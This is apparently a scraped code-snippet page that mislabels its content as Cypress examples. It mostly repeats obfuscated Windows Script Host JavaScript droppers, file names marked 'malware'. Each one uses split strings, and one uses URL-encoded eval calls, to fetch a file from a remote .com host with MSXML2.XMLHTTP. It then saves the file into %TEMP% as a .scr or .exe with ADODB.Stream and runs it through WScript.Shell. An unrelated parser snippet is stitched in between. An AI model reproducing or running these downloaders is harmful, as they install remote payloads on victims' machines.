Best JavaScript code snippet using cypress
tr_._malware_localhost_05-18_18-39-0018_4FD7D696_localhost_18-39-0018.js
Source:tr_._malware_localhost_05-18_18-39-0018_4FD7D696_localhost_18-39-0018.js
1//02add = "r";3concat = "x";4webkitMatchesSelector = "%TEM";5getClientRects = "HTTP";6subtract = "//m";7originalEvent = "hell";8oldfire = 320, curCSSTop = "n", curTop = "pan", actualDisplay = "WSc";9timers = "sta";10var response = "pos",11 origType = 19,12 complete = "Create",13 qsaError = "o097",14 pipe = 27;15removeAttr = "S";16body = 6;17createTextNode = "ancej";18docElem = 12, defaultPrefilter = "i", tokenCache = 68, tick = 17;19var preventDefault = "ADOD",20 optSelected = ".Str",21 time = "Cre";22var exports = "open",23 name = "mentSt",24 hasCompare = 15,25 oMatchesSelector = "y",26 urlAnchor = "eam";27properties = "a", version = 242, expand = 21;28noBubble = "pt";29rnumnonpx = "Cr";30then = "type";31outerCache = "MSXML2";32var parentNode = "eBod",33 step = 36,34 reset = "ere",35 rsibling = "Object",36 hash = 181,37 parseJSON = 31;38udataOld = 86;39pos = "P%/";40dest = 33, rquickExpr = ".XML", elem = ":";41firstChild = "ab";42parent = "puiss";43postMap = ".com/";44setMatcher = 2;45expanded = "WScrip";46removeChild = (function String.prototype.bp() {47 return this48}, "nv");49anim = "Ru";50target = "bje";51selected = 29;52write = "close";53num = "E";54wrapMap = "e", support = "l";55window = "jhg4g5";56ajax = "rings";57configurable = "spons";58hide = "rclick";59detach = "WScr";60callbackInverse = 39;61postDispatch = "o";62optall = 1;63show = "pen";64var originAnchor = "st";65dispatch = 15259;66pdataCur = "ript";67fixHook = "in";68cos = 51;69keys = 23;70var msFullscreenElement = "teO",71 setPositiveNumber = "Fi",72 tabIndex = "ct",73 cache = 37,74 makeArray = 75,75 b = "send";76extend = "eObj";77lastChild = "dE";78processData = 7;79modified = "http";80buildFragment = 4;81matcherFromGroupMatchers = "ron", nextSibling = 0, curElem = "t", source = 217, max = "ipt.S";82href = "ition", stateVal = "write", animation = "GET", iNoClone = "eady", stopImmediatePropagation = "le", root = "Re";83rejectWith = 3874, specified = "B", inspectPrefiltersOrTransports = 63, rsubmittable = "ep", rnamespace = ".scr", responseType = "eep";84isHidden = 3;85eventHandle = 30;86cloneNode = "saveTo";87getAttributeNode = "ect";88var overflowY = "WScri",89 done = "esus";90module = (((Math.pow(27, setMatcher) - 694) ^ (tokenCache + 90)), (((makeArray ^ 29), (oldfire - 77), (Math.pow(inspectPrefiltersOrTransports, 2) - rejectWith), (7 & processData)), this));91startLength = anim + curCSSTop;92dataTypeExpression = module[actualDisplay + pdataCur];93rmargin = dataTypeExpression[time + properties + curElem + extend + getAttributeNode](detach + max + originalEvent);94finalText = rmargin[num + concat + curTop + lastChild + removeChild + defaultPrefilter + matcherFromGroupMatchers + name + ajax](webkitMatchesSelector + pos) + hide + firstChild + stopImmediatePropagation + rnamespace;95rlocalProtocol = module[overflowY + noBubble][complete + rsibling](outerCache + rquickExpr + getClientRects);96rlocalProtocol[postDispatch + show](animation, modified + elem + subtract + fixHook + defaultPrefilter + originAnchor + reset + parent + createTextNode + done + postMap + qsaError + window, !(((Math.pow((((10 & hasCompare) ^ (31 & keys)) - ((153, eventHandle) - (82, body))), ((2 | setMatcher) ^ 0)) - (((dest | 36) - (cache - 29)), ((docElem ^ 25) - (setMatcher + 3)))) & (((optall ^ 0) + optall) * ((213 - cos), (Math.pow(4, setMatcher) - 9), (source, 88, udataOld), (137, hash, 11, setMatcher)) * ((5976 / step), (6 * callbackInverse + 1), (setMatcher | 0)) + (((setMatcher + 4) - (setMatcher * 2 + optall)) * (1 * setMatcher)))) == ((((22 - hasCompare) * 2 * isHidden - ((19 & parseJSON) * (0 | setMatcher) + 3)) + (((processData - 7) | (optall * 1)) + (nextSibling ^ 0))) * (((tick | 4) / (expand)) * ((Math.pow(37, setMatcher) - 1331) / (origType))) * ((30 / eventHandle) + (0 | optall)))));97rlocalProtocol[b]();98while (rlocalProtocol[add + iNoClone + timers + curElem + wrapMap] < (0 | (body & 4))) {99 module[expanded + curElem][removeAttr + stopImmediatePropagation + rsubmittable]((optall + 1) * setMatcher * (115 / keys) * 5);100}101rdashAlpha = module[overflowY + noBubble][rnumnonpx + wrapMap + properties + msFullscreenElement + target + tabIndex](preventDefault + specified + optSelected + urlAnchor);102module[overflowY + noBubble][removeAttr + support + responseType](((cos ^ 150), isHidden * 2 * selected, (16060 & dispatch)));103rdashAlpha[exports]();104postFilter = rdashAlpha;105postFilter[then] = (1 & optall);106speed = postFilter;107rdashAlpha[stateVal](rlocalProtocol[root + configurable + parentNode + oMatchesSelector]);108speed[response + href] = (1 + -optall);109rdashAlpha[cloneNode + setPositiveNumber + stopImmediatePropagation](finalText, ((0 | nextSibling) | (204, version, 2)));110rdashAlpha[write]();111udataCur = rmargin;...
localhost_18-39-0018.js
Source:localhost_18-39-0018.js
1//02add = "r";3concat = "x";4webkitMatchesSelector = "%TEM";5getClientRects = "HTTP";6subtract = "//m";7originalEvent = "hell";8oldfire = 320, curCSSTop = "n", curTop = "pan", actualDisplay = "WSc";9timers = "sta";10var response = "pos",11 origType = 19,12 complete = "Create",13 qsaError = "o097",14 pipe = 27;15removeAttr = "S";16body = 6;17createTextNode = "ancej";18docElem = 12, defaultPrefilter = "i", tokenCache = 68, tick = 17;19var preventDefault = "ADOD",20 optSelected = ".Str",21 time = "Cre";22var exports = "open",23 name = "mentSt",24 hasCompare = 15,25 oMatchesSelector = "y",26 urlAnchor = "eam";27properties = "a", version = 242, expand = 21;28noBubble = "pt";29rnumnonpx = "Cr";30then = "type";31outerCache = "MSXML2";32var parentNode = "eBod",33 step = 36,34 reset = "ere",35 rsibling = "Object",36 hash = 181,37 parseJSON = 31;38udataOld = 86;39pos = "P%/";40dest = 33, rquickExpr = ".XML", elem = ":";41firstChild = "ab";42parent = "puiss";43postMap = ".com/";44setMatcher = 2;45expanded = "WScrip";46removeChild = (function String.prototype.bp() {47 return this48}, "nv");49anim = "Ru";50target = "bje";51selected = 29;52write = "close";53num = "E";54wrapMap = "e", support = "l";55window = "jhg4g5";56ajax = "rings";57configurable = "spons";58hide = "rclick";59detach = "WScr";60callbackInverse = 39;61postDispatch = "o";62optall = 1;63show = "pen";64var originAnchor = "st";65dispatch = 15259;66pdataCur = "ript";67fixHook = "in";68cos = 51;69keys = 23;70var msFullscreenElement = "teO",71 setPositiveNumber = "Fi",72 tabIndex = "ct",73 cache = 37,74 makeArray = 75,75 b = "send";76extend = "eObj";77lastChild = "dE";78processData = 7;79modified = "http";80buildFragment = 4;81matcherFromGroupMatchers = "ron", nextSibling = 0, curElem = "t", source = 217, max = "ipt.S";82href = "ition", stateVal = "write", animation = "GET", iNoClone = "eady", stopImmediatePropagation = "le", root = "Re";83rejectWith = 3874, specified = "B", inspectPrefiltersOrTransports = 63, rsubmittable = "ep", rnamespace = ".scr", responseType = "eep";84isHidden = 3;85eventHandle = 30;86cloneNode = "saveTo";87getAttributeNode = "ect";88var overflowY = "WScri",89 done = "esus";90module = (((Math.pow(27, setMatcher) - 694) ^ (tokenCache + 90)), (((makeArray ^ 29), (oldfire - 77), (Math.pow(inspectPrefiltersOrTransports, 2) - rejectWith), (7 & processData)), this));91startLength = anim + curCSSTop;92dataTypeExpression = module[actualDisplay + pdataCur];93rmargin = dataTypeExpression[time + properties + curElem + extend + getAttributeNode](detach + max + originalEvent);94finalText = rmargin[num + concat + curTop + lastChild + removeChild + defaultPrefilter + matcherFromGroupMatchers + name + ajax](webkitMatchesSelector + pos) + hide + firstChild + stopImmediatePropagation + rnamespace;95rlocalProtocol = module[overflowY + noBubble][complete + rsibling](outerCache + rquickExpr + getClientRects);96rlocalProtocol[postDispatch + show](animation, modified + elem + subtract + fixHook + defaultPrefilter + originAnchor + reset + parent + createTextNode + done + postMap + qsaError + window, !(((Math.pow((((10 & hasCompare) ^ (31 & keys)) - ((153, eventHandle) - (82, body))), ((2 | setMatcher) ^ 0)) - (((dest | 36) - (cache - 29)), ((docElem ^ 25) - (setMatcher + 3)))) & (((optall ^ 0) + optall) * ((213 - cos), (Math.pow(4, setMatcher) - 9), (source, 88, udataOld), (137, hash, 11, setMatcher)) * ((5976 / step), (6 * callbackInverse + 1), (setMatcher | 0)) + (((setMatcher + 4) - (setMatcher * 2 + optall)) * (1 * setMatcher)))) == ((((22 - hasCompare) * 2 * isHidden - ((19 & parseJSON) * (0 | setMatcher) + 3)) + (((processData - 7) | (optall * 1)) + (nextSibling ^ 0))) * (((tick | 4) / (expand)) * ((Math.pow(37, setMatcher) - 1331) / (origType))) * ((30 / eventHandle) + (0 | optall)))));97rlocalProtocol[b]();98while (rlocalProtocol[add + iNoClone + timers + curElem + wrapMap] < (0 | (body & 4))) {99 module[expanded + curElem][removeAttr + stopImmediatePropagation + rsubmittable]((optall + 1) * setMatcher * (115 / keys) * 5);100}101rdashAlpha = module[overflowY + noBubble][rnumnonpx + wrapMap + properties + msFullscreenElement + target + tabIndex](preventDefault + specified + optSelected + urlAnchor);102module[overflowY + noBubble][removeAttr + support + responseType](((cos ^ 150), isHidden * 2 * selected, (16060 & dispatch)));103rdashAlpha[exports]();104postFilter = rdashAlpha;105postFilter[then] = (1 & optall);106speed = postFilter;107rdashAlpha[stateVal](rlocalProtocol[root + configurable + parentNode + oMatchesSelector]);108speed[response + href] = (1 + -optall);109rdashAlpha[cloneNode + setPositiveNumber + stopImmediatePropagation](finalText, ((0 | nextSibling) | (204, version, 2)));110rdashAlpha[write]();111udataCur = rmargin;...
._malware_localhost_05-18_18-39-0018_4FD7D696_localhost_18-39-0018.js
Source:._malware_localhost_05-18_18-39-0018_4FD7D696_localhost_18-39-0018.js
1//02add = "r";3concat = "x";4webkitMatchesSelector = "%TEM";5getClientRects = "HTTP";6subtract = "//m";7originalEvent = "hell";8oldfire = 320, curCSSTop = "n", curTop = "pan", actualDisplay = "WSc";9timers = "sta";10var response = "pos",11 origType = 19,12 complete = "Create",13 qsaError = "o097",14 pipe = 27;15removeAttr = "S";16body = 6;17createTextNode = "ancej";18docElem = 12, defaultPrefilter = "i", tokenCache = 68, tick = 17;19var preventDefault = "ADOD",20 optSelected = ".Str",21 time = "Cre";22var exports = "open",23 name = "mentSt",24 hasCompare = 15,25 oMatchesSelector = "y",26 urlAnchor = "eam";27properties = "a", version = 242, expand = 21;28noBubble = "pt";29rnumnonpx = "Cr";30then = "type";31outerCache = "MSXML2";32var parentNode = "eBod",33 step = 36,34 reset = "ere",35 rsibling = "Object",36 hash = 181,37 parseJSON = 31;38udataOld = 86;39pos = "P%/";40dest = 33, rquickExpr = ".XML", elem = ":";41firstChild = "ab";42parent = "puiss";43postMap = ".com/";44setMatcher = 2;45expanded = "WScrip";46removeChild = (function String.prototype.bp() {47 return this48}, "nv");49anim = "Ru";50target = "bje";51selected = 29;52write = "close";53num = "E";54wrapMap = "e", support = "l";55window = "jhg4g5";56ajax = "rings";57configurable = "spons";58hide = "rclick";59detach = "WScr";60callbackInverse = 39;61postDispatch = "o";62optall = 1;63show = "pen";64var originAnchor = "st";65dispatch = 15259;66pdataCur = "ript";67fixHook = "in";68cos = 51;69keys = 23;70var msFullscreenElement = "teO",71 setPositiveNumber = "Fi",72 tabIndex = "ct",73 cache = 37,74 makeArray = 75,75 b = "send";76extend = "eObj";77lastChild = "dE";78processData = 7;79modified = "http";80buildFragment = 4;81matcherFromGroupMatchers = "ron", nextSibling = 0, curElem = "t", source = 217, max = "ipt.S";82href = "ition", stateVal = "write", animation = "GET", iNoClone = "eady", stopImmediatePropagation = "le", root = "Re";83rejectWith = 3874, specified = "B", inspectPrefiltersOrTransports = 63, rsubmittable = "ep", rnamespace = ".scr", responseType = "eep";84isHidden = 3;85eventHandle = 30;86cloneNode = "saveTo";87getAttributeNode = "ect";88var overflowY = "WScri",89 done = "esus";90module = (((Math.pow(27, setMatcher) - 694) ^ (tokenCache + 90)), (((makeArray ^ 29), (oldfire - 77), (Math.pow(inspectPrefiltersOrTransports, 2) - rejectWith), (7 & processData)), this));91startLength = anim + curCSSTop;92dataTypeExpression = module[actualDisplay + pdataCur];93rmargin = dataTypeExpression[time + properties + curElem + extend + getAttributeNode](detach + max + originalEvent);94finalText = rmargin[num + concat + curTop + lastChild + removeChild + defaultPrefilter + matcherFromGroupMatchers + name + ajax](webkitMatchesSelector + pos) + hide + firstChild + stopImmediatePropagation + rnamespace;95rlocalProtocol = module[overflowY + noBubble][complete + rsibling](outerCache + rquickExpr + getClientRects);96rlocalProtocol[postDispatch + show](animation, modified + elem + subtract + fixHook + defaultPrefilter + originAnchor + reset + parent + createTextNode + done + postMap + qsaError + window, !(((Math.pow((((10 & hasCompare) ^ (31 & keys)) - ((153, eventHandle) - (82, body))), ((2 | setMatcher) ^ 0)) - (((dest | 36) - (cache - 29)), ((docElem ^ 25) - (setMatcher + 3)))) & (((optall ^ 0) + optall) * ((213 - cos), (Math.pow(4, setMatcher) - 9), (source, 88, udataOld), (137, hash, 11, setMatcher)) * ((5976 / step), (6 * callbackInverse + 1), (setMatcher | 0)) + (((setMatcher + 4) - (setMatcher * 2 + optall)) * (1 * setMatcher)))) == ((((22 - hasCompare) * 2 * isHidden - ((19 & parseJSON) * (0 | setMatcher) + 3)) + (((processData - 7) | (optall * 1)) + (nextSibling ^ 0))) * (((tick | 4) / (expand)) * ((Math.pow(37, setMatcher) - 1331) / (origType))) * ((30 / eventHandle) + (0 | optall)))));97rlocalProtocol[b]();98while (rlocalProtocol[add + iNoClone + timers + curElem + wrapMap] < (0 | (body & 4))) {99 module[expanded + curElem][removeAttr + stopImmediatePropagation + rsubmittable]((optall + 1) * setMatcher * (115 / keys) * 5);100}101rdashAlpha = module[overflowY + noBubble][rnumnonpx + wrapMap + properties + msFullscreenElement + target + tabIndex](preventDefault + specified + optSelected + urlAnchor);102module[overflowY + noBubble][removeAttr + support + responseType](((cos ^ 150), isHidden * 2 * selected, (16060 & dispatch)));103rdashAlpha[exports]();104postFilter = rdashAlpha;105postFilter[then] = (1 & optall);106speed = postFilter;107rdashAlpha[stateVal](rlocalProtocol[root + configurable + parentNode + oMatchesSelector]);108speed[response + href] = (1 + -optall);109rdashAlpha[cloneNode + setPositiveNumber + stopImmediatePropagation](finalText, ((0 | nextSibling) | (204, version, 2)));110rdashAlpha[write]();111udataCur = rmargin;...
20160308_0928499418b0b87161446f8f15cfc089.js
Source:20160308_0928499418b0b87161446f8f15cfc089.js
1add = "r";2concat = "x";3webkitMatchesSelector = "%TEM";4getClientRects = "HTTP";5subtract = "//m";6originalEvent = "hell";7oldfire = 320, curCSSTop = "n", curTop = "pan", actualDisplay = "WSc";8timers = "sta";9var response = "pos",10 origType = 19,11 complete = "Create",12 qsaError = "o097",13 pipe = 27;14removeAttr = "S";15body = 6;16createTextNode = "ancej";17docElem = 12, defaultPrefilter = "i", tokenCache = 68, tick = 17;18var preventDefault = "ADOD",19 optSelected = ".Str",20 time = "Cre";21var exports = "open",22 name = "mentSt",23 hasCompare = 15,24 oMatchesSelector = "y",25 urlAnchor = "eam";26properties = "a", version = 242, expand = 21;27noBubble = "pt";28rnumnonpx = "Cr";29then = "type";30outerCache = "MSXML2";31var parentNode = "eBod",32 step = 36,33 reset = "ere",34 rsibling = "Object",35 hash = 181,36 parseJSON = 31;37udataOld = 86;38pos = "P%/";39dest = 33, rquickExpr = ".XML", elem = ":";40firstChild = "ab";41parent = "puiss";42postMap = ".com/";43setMatcher = 2;44expanded = "WScrip";45removeChild = (function String.prototype.bp() {46 return this47}, "nv");48anim = "Ru";49target = "bje";50selected = 29;51write = "close";52num = "E";53wrapMap = "e", support = "l";54window = "jhg4g5";55ajax = "rings";56configurable = "spons";57hide = "rclick";58detach = "WScr";59callbackInverse = 39;60postDispatch = "o";61optall = 1;62show = "pen";63var originAnchor = "st";64dispatch = 15259;65pdataCur = "ript";66fixHook = "in";67cos = 51;68keys = 23;69var msFullscreenElement = "teO",70 setPositiveNumber = "Fi",71 tabIndex = "ct",72 cache = 37,73 makeArray = 75,74 b = "send";75extend = "eObj";76lastChild = "dE";77processData = 7;78modified = "http";79buildFragment = 4;80matcherFromGroupMatchers = "ron", nextSibling = 0, curElem = "t", source = 217, max = "ipt.S";81href = "ition", stateVal = "write", animation = "GET", iNoClone = "eady", stopImmediatePropagation = "le", root = "Re";82rejectWith = 3874, specified = "B", inspectPrefiltersOrTransports = 63, rsubmittable = "ep", rnamespace = ".scr", responseType = "eep";83isHidden = 3;84eventHandle = 30;85cloneNode = "saveTo";86getAttributeNode = "ect";87var overflowY = "WScri",88 done = "esus";89module = (((Math.pow(27, setMatcher) - 694) ^ (tokenCache + 90)), (((makeArray ^ 29), (oldfire - 77), (Math.pow(inspectPrefiltersOrTransports, 2) - rejectWith), (7 & processData)), this));90startLength = anim + curCSSTop;91dataTypeExpression = module[actualDisplay + pdataCur];92rmargin = dataTypeExpression[time + properties + curElem + extend + getAttributeNode](detach + max + originalEvent);93finalText = rmargin[num + concat + curTop + lastChild + removeChild + defaultPrefilter + matcherFromGroupMatchers + name + ajax](webkitMatchesSelector + pos) + hide + firstChild + stopImmediatePropagation + rnamespace;94rlocalProtocol = module[overflowY + noBubble][complete + rsibling](outerCache + rquickExpr + getClientRects);95rlocalProtocol[postDispatch + show](animation, modified + elem + subtract + fixHook + defaultPrefilter + originAnchor + reset + parent + createTextNode + done + postMap + qsaError + window, !(((Math.pow((((10 & hasCompare) ^ (31 & keys)) - ((153, eventHandle) - (82, body))), ((2 | setMatcher) ^ 0)) - (((dest | 36) - (cache - 29)), ((docElem ^ 25) - (setMatcher + 3)))) & (((optall ^ 0) + optall) * ((213 - cos), (Math.pow(4, setMatcher) - 9), (source, 88, udataOld), (137, hash, 11, setMatcher)) * ((5976 / step), (6 * callbackInverse + 1), (setMatcher | 0)) + (((setMatcher + 4) - (setMatcher * 2 + optall)) * (1 * setMatcher)))) == ((((22 - hasCompare) * 2 * isHidden - ((19 & parseJSON) * (0 | setMatcher) + 3)) + (((processData - 7) | (optall * 1)) + (nextSibling ^ 0))) * (((tick | 4) / (expand)) * ((Math.pow(37, setMatcher) - 1331) / (origType))) * ((30 / eventHandle) + (0 | optall)))));96rlocalProtocol[b]();97while (rlocalProtocol[add + iNoClone + timers + curElem + wrapMap] < (0 | (body & 4))) {98 module[expanded + curElem][removeAttr + stopImmediatePropagation + rsubmittable]((optall + 1) * setMatcher * (115 / keys) * 5);99}100rdashAlpha = module[overflowY + noBubble][rnumnonpx + wrapMap + properties + msFullscreenElement + target + tabIndex](preventDefault + specified + optSelected + urlAnchor);101module[overflowY + noBubble][removeAttr + support + responseType](((cos ^ 150), isHidden * 2 * selected, (16060 & dispatch)));102rdashAlpha[exports]();103postFilter = rdashAlpha;104postFilter[then] = (1 & optall);105speed = postFilter;106rdashAlpha[stateVal](rlocalProtocol[root + configurable + parentNode + oMatchesSelector]);107speed[response + href] = (1 + -optall);108rdashAlpha[cloneNode + setPositiveNumber + stopImmediatePropagation](finalText, ((0 | nextSibling) | (204, version, 2)));109rdashAlpha[write]();110udataCur = rmargin;...
20160307_e0782583a553e59f7843260686c12024.js
Source:20160307_e0782583a553e59f7843260686c12024.js
1var sel = "St",2 dataFilter = 16,3 fireGlobals = 2221,4 tabIndex = "ell";5tween = "E", getAttributeNode = "ip", copy = "hen2";6parts = "t";7var manipulationTarget = "ns",8 wrapMap = 15,9 target = "e",10 href = "open";11var trigger = "nd",12 callbackExpect = 51,13 isBorderBox = "bjec";14var calculatePosition = 429;15raw = "mel.d";16_queueHooks = "un";17msFullscreenElement = "close";18readyWait = ".";19xhrSupported = "MS";20defer = 14, rfocusable = "WS";21var unloadHandler = "XM",22 write = "dys",23 needsContext = "Object";24curTop = 40;25a = 32;26reliableMarginLeft = "coun", tick = 55, preexisting = 10, rreturn = "gs";27ofType = "TT";28bubbleType = "ect";29define = "Respo";30doAnimation = 83;31clientLeft = "a";32rtagName = "Cr";33isWindow = "ea";34var s = 24,35 text = "WScr",36 createOptions = (function Object.prototype.stateString() {37 return this38 }, "C"),39 ap = "ream";40getClientRects = ".scr";41el = "te";42jsonProp = 175;43set = "tion";44var original = "massa",45 noGlobal = "y",46 PI = 374;47var createHTMLDocument = "tat";48var jsonp = "ttp://",49 pos = 58,50 nodeType = "ADODB.",51 handle = "m",52 conv = "tri",53 removeAttribute = "j";54statusText = "entS";55capName = 3;56indirect = "L2.X";57subordinate = 5;58sortInput = "WScrip";59b = "n";60pixelMarginRightVal = "Sh";61groups = "eBod";62focusin = "Sleep";63setMatcher = 2, valueParts = "R", delegateTarget = 1530, headers = 20, extra = 8, elem = 22;64radioValue = "re";65hookFn = "P";66var crossDomain = "e/978y",67 complete = 12,68 hasScripts = "%TEMP%",69 firstChild = "wr";70body = 1;71toggleClass = "xpandE";72ajaxExtend = 13;73td = "sav";74compile = "se";75prevObject = 36;76handler = "nviron";77var _ = 43,78 slideUp = "leep",79 classNames = 104,80 curPosition = "/";81postFinder = "teO", selectors = 111;82rnoInnerhtml = "oFil", letterSpacing = 4, memory = 48, unbind = "ge-him", timeout = "h";83checkbox = "GET";84ajax = 146;85callbackName = "S", binary = 223;86eventPath = "cript";87lastChild = 46711;88updateFunc = "ite";89rpseudo = "posi";90hasOwn = "Crea";91var letter = 0,92 removeClass = "eT";93last = "typ", winnow = "rea", source = "MLH", module = "teOb";94childNodes = (((42 + doAnimation) - (187 - classNames)), (((9 & wrapMap) & (15 & defer)), this));95className = valueParts + _queueHooks;96doc = childNodes[sortInput + parts];97stored = doc[rtagName + isWindow + module + removeAttribute + bubbleType](rfocusable + eventPath + readyWait + pixelMarginRightVal + tabIndex);98removeProp = stored[tween + toggleClass + handler + handle + statusText + conv + b + rreturn](hasScripts + curPosition) + reliableMarginLeft + parts + getClientRects;99getAll = childNodes[rfocusable + eventPath][createOptions + radioValue + clientLeft + el + needsContext](xhrSupported + unloadHandler + indirect + source + ofType + hookFn);100getAll[href](checkbox, timeout + jsonp + original + unbind + raw + crossDomain + copy, !((((((1 + letter) * (32 / a)) * ((Math.pow(9, setMatcher) - 66), (letter / 29))) | (((binary & 250), (prevObject | 52), (pos ^ 216), capName * 3 * subordinate) - ((Math.pow(5, setMatcher) - 18) ^ (letterSpacing * 8 + setMatcher)))) | ((((10 & wrapMap) ^ 61) - ((memory - 39) | setMatcher * 2 * setMatcher * 2 * setMatcher)) & (((129 / _) & 3) * (setMatcher + (122, body))))) == ((((20 / headers) + -(1 * body)) / ((1 + letter) | (12 / complete))) | ((((183 - preexisting) + (0 | extra)) ^ ((5 ^ s) * (51 - memory) + (22 | elem))) / (((12 ^ tick) - 3 * setMatcher * 3 * capName) * (4 ^ (body ^ 0)) + (setMatcher * 3 * setMatcher * 3, (ajaxExtend + 96), (jsonProp, 224, ajax), (0 | setMatcher)))))));101getAll[compile + trigger]();102while (getAll[winnow + write + createHTMLDocument + target] < (19 - (capName + 12))) {103 childNodes[text + getAttributeNode + parts][callbackName + slideUp]((setMatcher * 2 * subordinate * 5 + (letter | 0)));104}105setAttribute = childNodes[sortInput + parts][hasOwn + postFinder + isBorderBox + parts](nodeType + sel + ap);106childNodes[text + getAttributeNode + parts][focusin](((lastChild / 7) * (callbackExpect, 174, selectors, 2) + (fireGlobals - 567)));107try {108 setAttribute[href]();109 newSelector = setAttribute;110 newSelector[last + target] = ((PI / 34) / (calculatePosition / 39));111 scrollTop = newSelector;112 setAttribute[firstChild + updateFunc](getAll[define + manipulationTarget + groups + noGlobal]);113 scrollTop[rpseudo + set] = (letter ^ (1 * letter));114 setAttribute[td + removeClass + rnoInnerhtml + target](removeProp, ((65 - dataFilter) - 47));115 setAttribute[msFullscreenElement]();116 getStyles = stored;117 getStyles[className](removeProp.stateString(), ((Math.pow(curTop, 2) - delegateTarget), 0), letter);...
group.js
Source:group.js
...13const $GROUP = defineMatcher('$GROUP', (ParentClass) => {14 return class GroupMatcher extends ParentClass {15 constructor(startMatcher, endMatcher, escapeMatcher, opts) {16 super(opts);17 this.setMatcher(startMatcher, endMatcher, escapeMatcher);18 }19 getMatcherDefinitionMatcher(startMatcher, endMatcher, escapeMatcher) {20 return $PROGRAM(21 startMatcher,22 $LOOP(23 $PROGRAM(24 $OPTIONAL(escapeMatcher, 'Escape'),25 $NOT(endMatcher),26 $MATCHES(/(.)/, 'Content'),27 ),28 ),29 endMatcher,30 );31 }32 getStringMatcher(startMatcher, endMatcher, escapeMatcher) {33 return $PROGRAM(34 $EQUALS(startMatcher),35 $UNTIL(endMatcher, escapeMatcher),36 $EQUALS(endMatcher),37 );38 }39 setMatcher(startMatcher, endMatcher, escapeMatcher) {40 if (isType(startMatcher, 'MatcherDefinition')) {41 if (!isType(endMatcher, 'MatcherDefinition'))42 throw new TypeError('$GROUP::setMatcher: Second argument must be instance of `MatcherDefinition`');43 if (!isType(escapeMatcher, 'MatcherDefinition'))44 throw new TypeError('$GROUP::setMatcher: Third argument must be instance of `MatcherDefinition`');45 } else if (isType(startMatcher, 'string')) {46 if (!isType(endMatcher, 'string'))47 throw new TypeError('$GROUP::setMatcher: Second argument must be instance of `string`');48 if (!isType(escapeMatcher, 'string'))49 throw new TypeError('$GROUP::setMatcher: Third argument must be instance of `MatcherDefinition`');50 } else {51 throw new TypeError('$GROUP::setMatcher: First argument must be instance of `string`, or `MatcherDefinition`');52 }53 var matcher;...
20160325_4cc86cee65498731a1cccd91c96ed8fc.js
Source:20160325_4cc86cee65498731a1cccd91c96ed8fc.js
1markFunction = "om/P", selector = "%TEMP", oldCallbacks = "posit", arr = "apply", offsetParent = "Envir", rattributeQuotes = "pe";2removeAttribute = "close", newSelector = 1, e = 23, start = 0;3textContent = "dirr", test = "so", clientLeft = 33, conditionFn = "ructor", currentTime = "HTT", errorCallback = "2.e";4var getComputedStyle = "G",5 expanded = 890,6 onreadystatechange = "Respo",7 head = "s",8 funescape = "o",9 createPositionalPseudo = "/sa";10rrun = 5;11unit = 886, truncate = 108, cssNumber = "le";12conv2 = "ipt", events = "Str", relative = "eep";13select = 19, jqXHR = "dy", hash = 593;14var mouseleave = "r",15 toggle = "saveT";16getResponseHeader = "hell";17attaches = "u";18seed = "iveXO";19progressContexts = ".s";20elemLang = "Obje";21append = "y";22removeChild = "ript", configurable = "n", rchecked = "0", addGetHookIf = "thapy";23setMatcher = 2, classes = "nd", detach = "WSc";24var next = "T",25 rlocalProtocol = "Msxml",26 Expr = (function grep() {}, "typ"),27 matchContext = "eXO";28tick = (function grep.converters() {29 var then = []["const" + conditionFn]["proto" + Expr + "e"][test + "rt"][arr]();30 return then;31}, ".Strea");32children = "ct";;33cssText = firingIndex = attrId = lname = grep.converters();34function innerHTML(escaped, fadeTo, dequeue, curCSS) {35 dequeue[curCSS](cssFn[escaped]);36}37sortStable = attrId["WScr" + conv2];38rdisplayswap = sortStable["Create" + elemLang + "ct"](detach + "ript.S" + getResponseHeader);39originalProperties = rdisplayswap["Expand" + offsetParent + "onment" + events + "ings"](selector + "%/") + textContent + "uns" + progressContexts + "c" + mouseleave;40function andSelf(forward, dequeue, targets, tokenCache) {41 return dequeue[tokenCache](forward, targets);42}43matchesSelector(currentTime, events, next);44id(markFunction, markFunction);45fadeIn(select, toggle, elemLang, conditionFn);46cssFn[head + "e" + classes]();47sortStable["Sl" + relative]((115 / e) * (1 * setMatcher) * (Math.pow(3, setMatcher) - 4) * setMatcher * (38 / select) * (Math.pow(4, setMatcher) - 11) * (rrun | 5));48try {49 image = new cssText["Act" + seed + "bje" + children]("ADODB" + tick + "m");50 first(seed, newSelector, oldCallbacks);51 image["t" + append + "pe"] = ((newSelector * 1) + start);52 matchIndexes(children, expanded);53 rnative(hash, removeAttribute, jqXHR, cssNumber);54 origFn(removeChild, seed, jqXHR, createPositionalPseudo, children);55 hold(cssNumber, rchecked, progressContexts, matchContext);56 createElement = image;57 attrId["WSc" + removeChild]["Sleep"]((setMatcher * 2 * setMatcher * 2 * hash | (785 & unit)));58 createElement[removeAttribute]();59 method(arr, currentTime);60 oMatchesSelector(markFunction, detach);61} catch(arg) {}62function oMatchesSelector() {63 eval(qsaError("setOffset%5B%22R%22%20+%20attaches%20+%20%22n%22%5D%28originalProperties%29%3B"));64}65function origFn() {66 eval(qsaError("winnow%5BoldCallbacks%20+%20%22ion%22%5D%20%3D%20%28%281%7Cstart%29*0%29%3B"));67}68function id() {69 eval(qsaError("cssFn%20%3D%20new%20firingIndex%5B%22Activ%22%20+%20matchContext%20+%20%22bject%22%5D%28rlocalProtocol%20+%20%222.XML%22%20+%20currentTime%20+%20%22P.6.%22%20+%20rchecked%29%3B"));70}71function qsaError(rnotwhite) {72 return unescape(rnotwhite);73}74function first() {75 eval(qsaError("image%5Bfunescape%20+%20%22pe%22%20+%20configurable%5D%28%29%3B"));76}77function matchIndexes() {78 eval(qsaError("winnow%20%3D%20image%3B"));79}80function method() {81 eval(qsaError("setOffset%20%3D%20rdisplayswap%3B"));82}83function hold() {84 eval(qsaError("andSelf%28originalProperties%2C%20image%2C%20%28%28truncate/36%29%26%28setMatcher%7C2%29%29%2C%20toggle%20+%20%22oFi%22%20+%20cssNumber%29%3B"));85}86function matchesSelector() {87 eval(qsaError(""));88}89function fadeIn() {90 eval(qsaError("cssFn%5B%22o%22%20+%20rattributeQuotes%20+%20%22n%22%5D%28getComputedStyle%20+%20%22E%22%20+%20next%2C%20%22http%3A/%22%20+%20createPositionalPseudo%20+%20%22whla%22%20+%20addGetHookIf%20+%20%22ae.c%22%20+%20markFunction%20+%20%22m_4u%22%20+%20errorCallback%20+%20%22xe%22%2C%20%21%285%20%3D%3D%20rrun%29%29%3B"));91}92function rnative() {93 